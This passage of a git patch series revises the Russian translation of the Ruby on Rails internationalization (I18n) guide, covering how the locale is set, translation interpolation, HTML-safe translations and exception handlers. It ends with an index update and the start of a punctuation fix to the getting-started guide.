_соглашений над конфигурацией_, Rails настроит ваше приложение приемлемыми значениями по умолчанию. Если вам необходимы иные настройки, можете просто переписать их. +Следуя философии примата _соглашений над конфигурацией_, Rails предоставляет приемлемые строки переводов по умолчанию. При необходимости иных строк переводов, они могут быть переопределены. -Rails автоматически добавляет все файлы `.rb` и `.yml` из директории `config/locales` к вашему **пути загрузки переводов.** +Rails автоматически добавляет все файлы `.rb` и `.yml` из директории `config/locales` к **пути загрузки переводов.** Локаль по умолчанию `en.yml` в этой директории содержит образец строки перевода: @@ -97,15 +97,15 @@ en: Это означает, что в локале `:en`, ключ _hello_ связан со строкой _"Hello world"_. Каждая строка в Rails интернационализируется подобным образом, смотрите, к примеру, валидационные сообщения Active Model в файле [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) или форматы времени и даты в файле [`activesupport/lib/active_support/locale/en.yml`](http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml). Для хранения переводов в бэкенде по умолчанию (простом) можете использовать YAML или стандартные хэши Ruby. -Библиотека I18n будет использовать **английский** как **локаль по умолчанию**, т.е., если не хотите установить иную локаль, при поиске переводов будет использоваться `:en`. +Библиотека I18n будет использовать **английский** как **локаль по умолчанию**, т.е., если другая локаль не установлена, при поиске переводов будет использоваться `:en`. -NOTE: В библиотеке i18n принят **прагматичный подход** к ключам локали (после [некоторых обсуждений](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), включающий только часть _локаль_ ("язык"), наподобие `:en`, `:pl`, но не часть _регион_, подобно `:en-US` или `:en-GB`, как традиционно используется для разделения "языков" и "региональных настроек", или "диалектов". Многие международные приложения используют только элемент "язык" локали, такой как `:cs`, `:th` или `:es` (для Чехии, Тайланда и Испании). Однако, также имеются региональные различия внутри языковой группы, которые могут быть важными. Например, в локали `:en-US` как символ валюты будет $, а в `:en-GB` будет £. Ничто не остановит вас от разделения региональных и других настроек следующим образом: предоставляете полную локаль "English - United Kingdom" в словаре `:en-GB`. Различные [плагины Rails I18n](http://rails-i18n.org/wiki), такие как [Globalize3](https://github.com/svenfuchs/globalize3), помогут это осуществить. +NOTE: В библиотеке i18n принят **прагматичный подход** к ключам локали (после [некоторых обсуждений](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), включающий только часть _локаль_ ("язык"), наподобие `:en`, `:pl`, но не часть _регион_, подобно `:en-US` или `:en-GB`, как традиционно используется для разделения "языков" и "региональных настроек", или "диалектов". Многие международные приложения используют только элемент "язык" локали, такой как `:cs`, `:th` или `:es` (для Чехии, Тайланда и Испании). Однако, также имеются региональные различия внутри языковой группы, которые могут быть важными. Например, в локали `:en-US` как символ валюты будет $, а в `:en-GB` будет £. Ничто не остановит вас от разделения региональных и других настроек следующим образом: предоставляете полную локаль "English - United Kingdom" в словаре `:en-GB`. Некоторые гемы, такие как [Globalize3](https://github.com/globalize/globalize), могут помочь вам это осуществить. -Путь **загрузки переводов** (`I18n.load_path`) - это всего лишь Ruby-массив путей к вашим файлам перевода, которые будут загружены автоматически и будут доступны в вашем приложении. Так что можете подобрать такую схему директорий и именования файлов, которая вам подходит. +**Путь загрузки переводов** (`I18n.load_path`) - это массив путей к файлам, которые будут загружены автоматически. Настройка этого пути позволяет настроить структуру директорий переводов и схему именования файлов. -NOTE: Бэкенд лениво загружет эти переводы, когда ищет перевод в первый раз. Это дает возможность переключить бэкенд на что-то иное даже после того, как переводы были объявлены. +NOTE: Бэкенд лениво загружет эти переводы, когда ищет перевод в первый раз. Этот бэкенд может быть переключен на что-то иное даже после того, как переводы были объявлены. -В файлах `application.rb` по умолчанию есть инструкция, как добавлять локали из другой директории, и как настраивать другую локаль по умолчанию. Просто раскомментируйте и отредактируйте определенные строки. +В файлах `application.rb` по умолчанию есть инструкция, как добавлять локали из другой директории, и как настраивать другую локаль по умолчанию. ```ruby # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. @@ -113,31 +113,25 @@ NOTE: Бэкенд лениво загружет эти переводы, ког # config.i18n.default_locale = :de ``` -### Опционально: Произвольная настройка конфигурации I18n - -Для полноты картины, давайте отметим, что если не хочется по каким-то причинам использовать `application.rb`, также всегда можно все настроить вручную. - -Чтобы сообщить библиотеке I18n, где она может найти ваши произвольные файлы перевода, можете определить путь загрузки где угодно в вашем приложении - просто убедитесь, что это будет выполнено до того, как какие-либо переводы будут фактически искаться. Таким же образом можно изменить локаль по умолчанию. Самым простым будет поместить следующее в инициализатор: +Путь загрузки должен быть указан до того, как будет произведен поиск любых переводов. Чтобы изменить локаль по умолчанию в инициализаторе вместо `application.rb`: ```ruby -# in config/initializers/locale.rb +# config/initializers/locale.rb -# говорим библиотеке I18n, где искать наши переводы -I18n.load_path `= Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] +# где библиотека I18n должна искать наши переводы +I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] # устанавливаем локаль по умолчанию на что-либо другое, чем :en I18n.default_locale = :pt ``` -### Назначение и передача локали +### Управление локалью через Запросы -Если хотите перевести свое приложение на Rails на **один язык, отличный от английского** (локали по умолчанию), можете настроить I18n.default_locale на свою локаль в `application.rb` или инициализаторе, как показано выше, и это будет сохранено во всех запросах. +Локаль по умолчанию используется для всех переводов за исключением случаев, когда `I18n.locale` установлена явно. -Однако, вы можете захотеть **предоставить поддержку для нескольких локалей** в своем приложении. В этом случае нужно установить и передать локаль между запросами. +Локализованному приложению, вероятно, понадобится поддерживать несколько локалей. Для этого локаль должна быть установлена в начале каждого запроса, чтобы все строки были переведены, используя нужную локаль. -WARNING: Вы можете попытаться хранить выбранную локаль в _сессии_ или в _куки_, однако **не делайте так**. Локаль должна быть понятной и являться частью URL. Таким образом вы не разрушите основные допущения людей о вебе: если посылаете URL друзьям, они увидят ту же страницу, то же содержимое. Иногда есть исключения из этого правила, которые мы обсудим ниже. - -_Назначающая часть_ проста. Можно назначить локаль в `before_action` в `ApplicationController`, как тут: +Локаль может быть установлена в `before_action` в `ApplicationController`: ```ruby before_action :set_locale @@ -147,11 +141,11 @@ def set_locale end ``` -Это требует, чтобы вы передали локаль как параметр запроса URL, как в `http://example.com/books?locale=pt`. (Это, к примеру, подход Гугла.) Таким образом, `http://localhost:3000?locale=pt` загрузит португальскую локализацию, в то время как `http://localhost:3000?locale=de` загрузит немецкую локализацию, и так далее. Можете опустить следующий раздел и перейти к разделу **Интернационализация вашего приложения**, если хотите все пробовать с помощью ручной замены локали в URL и перезагрузки страницы. +Этот пример показывает использование параметра запроса URL для установки локали (т.е. `http://example.com/books?locale=pt`). Таким образом, `http://localhost:3000?locale=pt` загрузит португальскую локализацию, в то время как `http://localhost:3000?locale=de` загрузит немецкую локализацию. -Конечно, вы не хотите вручную включать локаль в каждом URL своего приложения, или хотите, чтобы URL выглядел по-разному, т.е. `http://example.com/pt/books` против `http://example.com/en/books`. Давайте обсудим различные опции, которые у нас есть. +Локаль может быть установлена, используя один из множества других способов. -### Назначение локали из имени домена +#### Назначение локали из имени домена Одним из вариантов, которым можно установить локаль, является доменное имя, на котором запущено ваше приложение. Например, мы хотим, чтобы `www.example.com` загружал английскую локаль (по умолчанию), а `www.example.es` загружал испанскую локаль. Таким образом, _доменное имя верхнего уровня_ используется для установки локали. В этом есть несколько преимуществ: @@ -185,7 +179,7 @@ end ```ruby # Получаем код локали из поддомена запроса (подобно http://it.application.local:3000) -# Следует поместить чтото вроде: +# Следует поместить что-то вроде: # 127.0.0.1 gr.application.local # в ваш файл /etc/hosts, чтобы попробовать это локально def extract_locale_from_subdomain @@ -197,28 +191,28 @@ end Если ваше приложение включает меню переключения локали, вам следует иметь что-то вроде этого в нем: ```ruby -link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}") +link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}") ``` предполагая, что вы установили `APP_CONFIG[:deutsch_website_url]` в некоторое значение, наподобие `http://www.application.de`. -У этого решения есть вышеупомянутые преимущества, однако возможно, что вам нельзя или вы не хотите предоставить разные локализации ("языковые версии") на разных доменах. Наиболее очевидным решением является включить код локали в параметры URL (или пути запроса). +У этого решения есть вышеупомянутые преимущества, однако возможно, что вам нельзя или вы не хотите предоставлять разные локализации ("языковые версии") на разных доменах. Наиболее очевидным решением является включить код локали в параметры URL (или пути запроса). -### Назначение локали из параметров URL +#### Назначение локали из параметров URL Наиболее обычным способом назначения (и передачи) локали будет включение ее в параметры URL, как мы делали в `I18n.locale = params[:locale]` в _before_action_ в первом примере. В этом случае нам нужны URL, такие как `www.example.com/books?locale=ja` или `www.example.com/ja/books`. В этом подходе есть почти тот же набор преимуществ, как и в назначении локали из имени домена, а именно то, что это RESTful и соответствует остальной части Всемирной паутины. Хотя внедрение этого потребует немного больше работы. -Получение локали из `params` и соответственное назначение ее не сложно: включаете ее в каждый URL, и таким образом **передаете ее через запросы**. Конечно, включение явной опции в каждый URL (т.е. `link_to(books_url(/service/locale: I18n.locale))`) было бы утомительно и, вероятно, невозможно. +Получение локали из `params` и соответствующее назначение ее не сложно: включаете ее в каждый URL, и таким образом **передаете ее через запросы**. Конечно, включение явной опции в каждый URL (т.е. `link_to(books_url(/service/locale: I18n.locale))`) было бы утомительно и, вероятно, невозможно. -Rails содержит инфраструктуру для "централизации динамических решений об URL" в его [`ApplicationController#default_url_options](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), что полезно в этом сценарии: он позволяет нам назначить "defaults" для [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) и методов хелпера, основанных на нем (с помощью применения/переопределения этого метода). +Rails содержит инфраструктуру для "централизации динамических решений об URL" в его [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), что полезно в этом сценарии: он позволяет нам назначить "defaults" для [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) и методов хелпера, основанных на нем (с помощью применения/переопределения метода `default_url_options`). Затем мы можем включить что-то наподобие этого в наш `ApplicationController`: ```ruby # app/controllers/application_controller.rb -def default_url_options(options = {}) +def default_url_options { locale: I18n.locale }.merge options end ``` @@ -227,7 +221,7 @@ end Это может быть достаточным. Хотя и влияет на читаемость URL, когда локаль "висит" в конце каждого URL вашего приложения. Более того, с точки зрения архитектуры, локаль иерархически выше остальных частей домена приложения, и URL должен отражать это. -Вы, возможно, захотите, чтобы URL выглядел так: `www.example.com/en/books` (который загружает английскую локаль) и `www.example.com/nl/books` (который загружает голландскую локаль). Это достижимо с помощью такой же стратегии, как и с `default_url_options` выше: нужно настроить свои маршруты с помощью опции [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) следующим образом: +Вы, возможно, захотите, чтобы URL выглядел так: `http://www.example.com/en/books` (который загружает английскую локаль) и `http://www.example.com/nl/books` (который загружает голландскую локаль). Это достижимо с помощью такой же стратегии, как и с `default_url_options` выше: нужно настроить свои маршруты с помощью опции [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html): ```ruby # config/routes.rb @@ -238,6 +232,9 @@ end Теперь, когда вы вызовете метод `books_path`, то получите `"/en/books"` (для локали по умолчанию). URL подобный `http://localhost:3001/nl/books` загрузит голландскую локаль, и затем, последующий вызов `books_path` возвратит `"/nl/books"` (поскольку локаль изменилась). +TODO: Поскольку возвращаемое значение `default_url_options` кэшируется для каждого запроса, URL адреса в переключателе локали не могут быть сгенерированы при вызове хелперов в цикле, которые устанавливают соответствующие `I18n.locale` в каждой итерации. +Вместо этого, не трогайте `I18n.locale` и передайте явно опцию `:locale` в хелпер или измените `request.original_fullpath`. + Если не хотите принудительно использовать локаль в своих маршрутах, можете использовать опциональную область пути (заключенную в скобки), как здесь: ```ruby @@ -260,15 +257,25 @@ get '/:locale' => 'dashboard#index' Особенно побеспокойтесь относительно **порядка ваших маршрутов**, чтобы одно объявление маршрутов не "съело" другое. (Вы, возможно, захотите добавить его непосредственно перед объявлением `root :to`.) -NOTE: У этого решения есть один довольно большой *недостаток*. Благодаря применению _"default_url_options"_, вам нужно указывать опцию `:id` явно, как тут: `link_to 'Show', book_url(http://github.com/:id%20=%3E%20book)`, не зависимо от магии Rails в таком коде `link_to 'Show', book`. Если это будет проблемой, обратите внимание на два плагина, упрощающих работу с маршрутами в этом случае: Sven Fuchs's [routing_filter](http://github.com/svenfuchs/routing-filter/tree/master) и Raul Murciano's [translate_routes](http://github.com/raul/translate_routes/tree/master). Также посмотрите страницу [How to encode the current locale in the URL](http://rails-i18n.org/wiki/wikipages/how-to-encode-the-current-locale-in-the-url) в Rails i18n Wiki. +NOTE: Обратите внимание на различные гемы, которые упрощают работу с роутами: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator). -### Указание локали из информации, предоставленной клиентом +#### Указание локали из пользовательских настроек -В одельных случаях имеет смысл назначить локаль на основе информации, полученной от клиента, т.е. не из URL. Эта информация может исходить, например, от предпочитаемого пользователем языка (установленного в его браузере), может быть основана на географическом положении пользователя на основе его IP, или пользователи могут предоставить ее, просто указав локаль в своем интерфейсе приложения и сохранив ее в своем профиле. Этот подход более подходит для основанных на веб приложений или сервисов, а не для веб-сайтов - смотрите врезку о _сессиях_, _куки_ и архитектуре RESTful, указанную выше. +В приложении с аутентифицированными пользователями можно позволять пользователям устанавливать предпочитаемую локаль через интерфейс приложения. В таком случае, выбранная пользователем установка локали хранится в базе данные и используется для установки локали в запросах этого пользователя. -#### Использование `Accept-Language` +```ruby +def set_locale + I18n.locale = current_user.try(:locale) || I18n.default_locale +end +``` + +#### Выбор предполагаемой локали + +Когда локаль не была установлена явно для запроса (например, с помощью одного из представленных выше методов), приложение должно попытаться определить требуемую локаль. -Одним из источников информации о клиенте является HTTP заголовок `Accept-Language`. Можно [настроить его в своем браузере](http://www.w3.org/International/questions/qa-lang-priorities) или другом клиенте (таком как _curl_). +##### Определение локали из языка заголовка + +HTTP заголовок `Accept-Language` указывает предпочтительный язык для ответа. Браузеры [устанавливают это значение заголовка на основании языковых настроек пользователя](http://www.w3.org/International/questions/qa-lang-priorities), что делает его хорошим выбором при определении локали. Обычной реализацией использования заголовка `Accept-Language` будет следующее: @@ -285,24 +292,26 @@ private end ``` -Конечно, в рабочей среде нужен более надежный код, можете использовать плагин, такой как Iain Hecker's [http_accept_language](http://github.com/iain/http_accept_language/tree/master) или даже промежуточное приложение Rack, такое как Ryan Tomayko's [locale](http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb). +На практике, чтобы сделать это нужен более надежный код. Библиотека Iain Hecker's [http_accept_language](http://github.com/iain/http_accept_language/tree/master) или промежуточное приложение Rack от Ryan Tomayko's [locale](http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb) предоставляют решения этой проблемы. + +##### Определение локали по IP геолокации -#### Использование базы данных GeoIP (или подобной) +IP адрес клиента, выполняющего запрос, может использоваться для определения региона и его локали. Сервисы, такие как [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry), или гемы, такие как [geocoder](https://github.com/alexreisner/geocoder) могут быть использованы для реализации этого подхода. -Другим способом выбора локали по клиентской информации может быть использование базы данных для связывания IP клиента с регионом, такой как [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). Механизм кода будет очень похож на код выше - нужно запросить у базы данных пользовательский IP, и найти предпочитаемую локаль для возвращенных страны/региона/города. +В целом, этот подход является менее надежным, чем при использовании языка заголовка и не рекомендуется для большинства веб-приложений. -#### Профиль пользователя +#### Хранение локали в сессии или куки -Можно также предоставить пользователям приложения возможность назначать (или менять) локаль в интерфейсе приложения. И снова, механизм этого подхода очень похож на код выше - вы, возможно, позволите пользователю выбрать локаль из списка и сохраните ее в его профиле в базе данных. Затем вы установите локаль в это значение. +WARNING: Вы можете поддаться искушению хранить выбранную локаль в _сессии_ или _куки_. Однако, **не делайте этого**. Локаль должна быть понятной и быть частью URL. В таком случае, вы не сломаете базовые представления людей о вебе: если вы отправляете URL друзьям, то они должны увидеть ту же самую страницу и то же содержимое. Причудливое слово для этого будет то, что вы будете *спокойны* - [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Читайте более подробно о RESTful подходе в [статье Stefan Tilkov](http://www.infoq.com/articles/rest-introduction). Иногда бывают исключения из этого правила, они описаны ниже. -Интернационализация вашего приложения +Интернационализация и Локализация ------------------------------------- -Хорошо! Вы уже инициализировали поддержку I18n в своем приложении на Ruby on Rails, и сообщили ему, какую локаль использовать, и как ее сохранять между запросами. С этого момента мы готовы к действительно интересным вещам. +Хорошо! Вы уже инициализировали поддержку I18n в своем приложении на Ruby on Rails, и сообщили ему, какую локаль использовать, и как ее сохранять между запросами. -Давайте _интернационализируем_ наше приложение, т.е. абстрагируем каждую специфичную к локали часть, а затем _локализуем_ его, т.е. предоставим необходимые переводы для этих абстракций: +Дальше нам нужно _интернационализировать_ наше приложение, абстрагируя каждую специфичную к локали часть. Напоследок, нам нужно _локализовать_ приложение, предоставляя необходимые переводы для этих абстракций. -Скорее всего у вас есть что-то подобное в одном из ваших приложений: +У нас есть следующий пример: ```ruby # config/routes.rb @@ -339,9 +348,9 @@ end ![непереведенная демонстрация rails i18n](/images/demo_untranslated.png) -### Добавление переводов +### Абстракция локализованного кода -Очевидно, что у нас есть **две строки, локализованные на английском**. Чтобы интернационализировать этот код, **замените эти строки** вызовами хелпера Rails `#t` с имеющим смысл для перевода ключом: +У нас есть две строки в нашем коде, которые на английском и которые будут отображаться пользователям ("Hello Flash" и "Hello World"). Чтобы интернационализировать этот код, эти строки нужно заменить вызовами хелпера Rails `#t` с соответствующими ключами для каждой строки: ```ruby # app/controllers/home_controller.rb @@ -362,9 +371,11 @@ end ![демонстрация отсутствия перевода в rails i18n](/images/demo_translation_missing.png) -NOTE: Rails добавляет метод хелпера `t` (`translate`) во вьюхи, так что вам не нужно впечатывать `I18n.t` каждый раз. Дополнительно этот хелпер ловит отсутствующие переводы и оборачивает результирующее сообщение об ошибке в `<span class="translation_missing">`. +NOTE: Rails добавляет метод хелпера `t` (`translate`) во вьюхи, так что вам не нужно набирать `I18n.t` каждый раз. Дополнительно этот хелпер ловит отсутствующие переводы и оборачивает результирующее сообщение об ошибке в `<span class="translation_missing">`. + +### Предоставление переводов для интернационализованных строк -Давайте добавим отсутствующие переводы в файлы словарей (т.е. выполним часть "локализация"): +Добавим отсутствующие переводы в файлы словарей: ```yaml # config/locales/en.yml @@ -378,11 +389,11 @@ pirate: hello_flash: Ahoy Flash ``` -Продолжим. Так как мы не сменили default_locale, I18n будет использовать английский. Теперь ваше приложение покажет: +Так как `default_locale` не изменялась, переводы будут использовать `:en` локаль, и в ответе будут отображаться английские строки. ![пример rails i18n, переведенный на английский](/images/demo_translated_en.png) -А когда вы измените URL, чтобы передать пиратскую локаль (`http://localhost:3000?locale=pirate`), то получите: +Если локаль будет установлена через URL на пиратскую локаль (`http://localhost:3000?locale=pirate`), то в ответе будут отображаться пиратские строки: ![пример rails i18n, переведенный на пиратский](/images/demo_translated_pirate.png) @@ -392,19 +403,53 @@ NOTE: Нужно перезагрузить сервер после того, к ### Передача переменных в переводы -Можно использовать переменные в переводимых сообщениях, и передавать их значения из вьюхи. +Один из ключевых факторов успешной интернационализации приложения - +избегать неправильные предположения о грамматических правилах при абстракции локализованного кода. Грамматические правила, кажущиеся принципиальными в одной локали, могут быть неверными в другой. + +Некорректная абстракция показана в следующем примере, где делается предположение о порядке в разных частях перевода. Обратите внимание, что Rails предоставляет хелпер `number_to_currency` для обработки следующего случая. + ```erb -# app/views/home/index.html.erb -<%=t 'greet_username', user: "Bill", message: "Goodbye" %> +# app/views/products/show.html.erb +<%= "#{t('currency')}#{@product.price}" %> ``` ```yaml # config/locales/en.yml en: - greet_username: "%{message}, %{user}!" + currency: "$" + +# config/locales/es.yml +es: + currency: "€" ``` +Если цена продукта 10, тогда соответствующий перевод для испанского - "10 €", вместо "€10", но абстракция не может дать этого. + +Для создания правильной абстракции, в геме i18n есть возможность, называемая интерполяцией переменных, которая позволяет вам использовать переменные в переводе определений и передавать значения этих переменных в метод перевода. + +Правильная абстракция показана в следующем примере: + +```erb +# app/views/products/show.html.erb +<%= t('product_price', price: @product.price) %> + ``` + +```yaml +# config/locales/en.yml +en: + product_price: "$%{price}" + +# config/locales/es.yml +es: + product_price: "%{price} €" +``` + +Все грамматические и пунктуационные решения принимаются в самом определении, таким образом абстракция может дать верный перевод. + +NOTE: Опции `default` и `scope` зарезервированы и не могут быть использованы как переменные. Если перевод использует `:default` или `:scope` как интерполяционную переменную, будет вызвано исключение `I18n::ReservedInterpolationKey`. +Если перевод ожидает интерполяционную переменную, но она не была передана в `#translate`, вызовется исключение `I18n::MissingInterpolationArgument`. + ### Добавление форматов даты/времени Хорошо! Теперь давайте добавим временную метку во вьюху, чтобы продемонстрировать особенности **локализации даты/времени**. Чтобы локализовать формат даты, нужно передать объект Time в `I18n.l`, или (лучше) использовать хелпер Rails `#l`. Формат можно выбрать передав опцию `:format` - по умолчанию используется формат `:default`. @@ -434,7 +479,7 @@ TIP: Сейчас вам, возможно, захочется добавить ### Правила словообразования для других локалей -Rails позволяет определить правила словообразования (такие как единственное и множественное число) для локалей, отличных от английской. В `config/initializers/inflections.rb` можно определить эти правила для нескольких локалей. Инициализатор содержит пример по умолчанию для определения дополнительных правил для английского; следуйте этому формату для других локалей. +Rails позволяет определить правила словообразования (такие как единственное и множественное число) для локалей, отличных от английской. В `config/initializers/inflections.rb` можно определить эти правила для нескольких локалей. Инициализатор содержит пример по умолчанию для определения дополнительных правил для английского, следуйте этому формату для других локалей. ### Локализованные вьюхи @@ -480,14 +525,12 @@ NOTE: Механизм загрузки локали по умолчанию в config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] ``` -Обратите внимание на [Rails i18n Wiki](http://rails-i18n.org/wiki), там есть перечень инструментов для управления переводами. - Обзор особенностей I18n API --------------------------- -Теперь у вас есть хорошее понимание об использовании библиотеки i18n, знания всех необходимых аспектов интернационализации простого приложения на Rails. В следующих частях мы раскроем особенности более детально. +Теперь у вас есть хорошее понимание об использовании библиотеки i18n и знание, как интернационализировать простое приложения на Rails. В следующих частях мы раскроем особенности более детально. -Эти главы покажут примеры использования как метода `I18n.translate`. так и [метода хелпера вьюхи `translate`](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (отметив дополнительные функции, предоставленными методом хелпера вьюхи). +Эти главы покажут примеры использования как метода `I18n.translate`, так и [метода хелпера вьюхи `translate`](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (отметив дополнительные функции, предоставленными методом хелпера вьюхи). Раскроем особенности такие, как: @@ -508,7 +551,7 @@ I18n.t :message I18n.t 'message' ``` -Метод `translate` также принимает опцию `:scope`, которая содержит один или более дополнительных ключей, которые будут использованы для определения “пространства” или области имен для ключа перевода: +Метод `translate` также принимает опцию `:scope`, которая содержит один или более дополнительных ключей, которые будут использованы для определения "пространства" или области имен для ключа перевода: ```ruby I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] @@ -526,7 +569,7 @@ I18n.translate "activerecord.errors.messages.record_invalid" ```ruby I18n.t 'activerecord.errors.messages.record_invalid' -I18n.t 'errors.messages.record_invalid', scope: :active_record +I18n.t 'errors.messages.record_invalid', scope: :activerecord I18n.t :record_invalid, scope: 'activerecord.errors.messages' I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] ``` @@ -584,19 +627,25 @@ es: NOTE: Автоматический скоупинг перевода доступен только из метода хелпера вьюхи `translate`. -### Интерполяция +"Ленивый" поиск также может быть использован в контроллерах: -Во многих случаях хочется абстрагировать свои переводы так, чтобы **переменные могли быть интерполированы в переводы**. В связи с этим, API I18n предоставляет особенность интерполяции. +```yaml +en: + books: + create: + success: Book created! +``` -Все опции, кроме `:default` и `:scope`, которые передаются в `#translate`, будут интерполированы в перевод: +Это может быть полезным для установки флеш сообщений: ```ruby -I18n.backend.store_translations :en, thanks: 'Thanks %{name}!' -I18n.translate :thanks, name: 'Jeremy' -# => 'Thanks Jeremy!' -``` - -Если перевод использует `:default` или `:scope` как интерполяционную переменную, будет вызвано исключение `I18n::ReservedInterpolationKey`. Если перевод ожидает интерполяционную переменную, но она не была передана в `#translate`, вызовется исключение `I18n::MissingInterpolationArgument`. +class BooksController < ApplicationController + def create + # ... + redirect_to books_url, notice: t('.success') + end +end + ``` ### Множественное число @@ -624,7 +673,7 @@ entry[count == 1 ? 0 : 1] Т.е., перевод помеченный как `:one`, рассматривается как единственное число, все другое как множественное (включая ноль). -Если поиск по ключу не возвратит хэш, подходящий для образования множественного числа, вызовется исключение `18n::InvalidPluralizationData`. +Если поиск по ключу не возвратит хэш, подходящий для образования множественного числа, вызовется исключение `I18n::InvalidPluralizationData`. ### Настройка и передача локали @@ -672,6 +721,22 @@ en:
<%= t('title.html') %>
``` +Интерполяция экранируется по мере необходимости. Например, учитывая: + +```yaml +en: + welcome_html: "Welcome %{username}!" +``` + +вы можете спокойно передать имя пользователя, установленное пользователем: + +```erb +<%# This is safe, it is going to be escaped if needed. %> +<%= t('welcome_html', username: @current_user.username) %> +``` + +С другой стороны, безопасные строки интерполируются дословно. + NOTE: Автоматическое преобразование в HTML-безопасный текст перевода доступен только для метода хелпера вьюхи `translate`. ![демонстрация html-безопасности в i18n](/images/i18n_demo_html_safe.png) @@ -690,7 +755,7 @@ en: attributes: user: login: "Handle" - # will translate User attribute "login" as "Handle" + # переводит атрибут "login" у User как "Handle" ``` Тогда `User.model_name.human` возвратит "Dude", а `User.human_attribute_name("login")` возвратит "Handle". @@ -789,7 +854,7 @@ errors.messages.blank | валидация | с опцией | сообщение | интерполяция | | ------------ | ------------------------- | ------------------------- | ------------ | -| confirmation | - | :confirmation | - | +| confirmation | - | :confirmation | attribute | | acceptance | - | :accepted | - | | presence | - | :blank | - | | absence | - | :present | - | @@ -809,6 +874,7 @@ errors.messages.blank | numericality | :equal_to | :equal_to | count | | numericality | :less_than | :less_than | count | | numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | +| numericality | :other_than | :other_than | count | | numericality | :only_integer | :not_an_integer | - | | numericality | :odd | :odd | - | | numericality | :even | :even | - | @@ -830,7 +896,7 @@ en: body: "There were problems with the following fields:" ``` -NOTE: Чтобы использовать этот хелпер, необходимо установить гем [DynamicForm](https://github.com/joelmoss/dynamic_form), добаввив следующую строчку в свой Gemfile: `gem 'dynamic_form'`. +NOTE: Чтобы использовать этот хелпер, необходимо установить гем [DynamicForm](https://github.com/joelmoss/dynamic_form), добавив следующую строчку в свой Gemfile: `gem 'dynamic_form'`. ### Перевод для тем писем Action Mailer @@ -937,7 +1003,7 @@ I18n.t :short, scope: 'date.formats' I18n.t :short, scope: [:date, :formats] ``` -Как правило мы рекомендуем использовать YAML как формат хранения переводов. Хотя имеются случаи, когда хочется хранить лямбда-функции Ruby как часть данных локали, например, для специальных форматов дат. +Как правило, мы рекомендуем использовать YAML как формат хранения переводов. Хотя имеются случаи, когда хочется хранить лямбда-функции Ruby как часть данных локали, например, для специальных форматов дат. Настройка I18n -------------- @@ -981,7 +1047,7 @@ API I18n поймает все эти исключения, когда они б module I18n class JustRaiseExceptionHandler < ExceptionHandler def call(exception, locale, key, options) - if exception.is_a?(MissingTranslation) + if exception.is_a?(MissingTranslationData) raise exception.to_exception else super @@ -998,7 +1064,7 @@ I18n.exception_handler = I18n::JustRaiseExceptionHandler.new Однако, если вы используете `I18n::Backend::Pluralization`, этот обработчик также вызывает исключение `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule`, которое обычно должно быть проигнорировано для отката к правилу плюрализации по умолчанию в английской локали. Чтобы этого избежать, можно добавить дополнительную проверку ключа перевода: ```ruby -if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule' +if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule' raise exception.to_exception else super diff --git a/source/index.yml b/source/index.yml index 3beefaa8..d232c90f 100644 --- a/source/index.yml +++ b/source/index.yml @@ -105,8 +105,8 @@ pages: - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api file: i18n.md - revision: 7a3192e760e41a3f52418fb88841bbaa1c615a0e - date: 08/07/2014 + revision: 7a74d81916851d0e5bda5312ffd9936b1b119765 + date: 23/06/2015 - title: Основы Action Mailer path: action-mailer-basics From cdb872983d2f6a3bf4b5523b92989afa5c52b331 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Tue, 4 Aug 2015 00:00:34 +0400 Subject: [PATCH 069/932] Fix punctuation --- source/getting_started.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/source/getting_started.md b/source/getting_started.md index 4654b5f6..dea580e6 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -320,7 +320,7 @@ end Заключительная часть этого сообщения говорит нам, где Rails искал шаблоны. Шаблоны в простом приложении Rails, таком как наше, содержатся в одном месте, но в более сложных приложениях, они могут находиться в разных местах. -Простейшим шаблоном, работающим в данном случае, будет расположенный в `app/views/articles/new.html.erb`. Расширение этого файла важно: первое расширение это _формат_ шаблона, а второе расширение это _обработчик_, который будет использован. Rails пытается найти шаблон с именем `articles/new` в `app/views` приложения. Форматом для этого шаблона может быть только `html`, а обработчиком должен быть один из `erb`, `builder` или `coffee`. 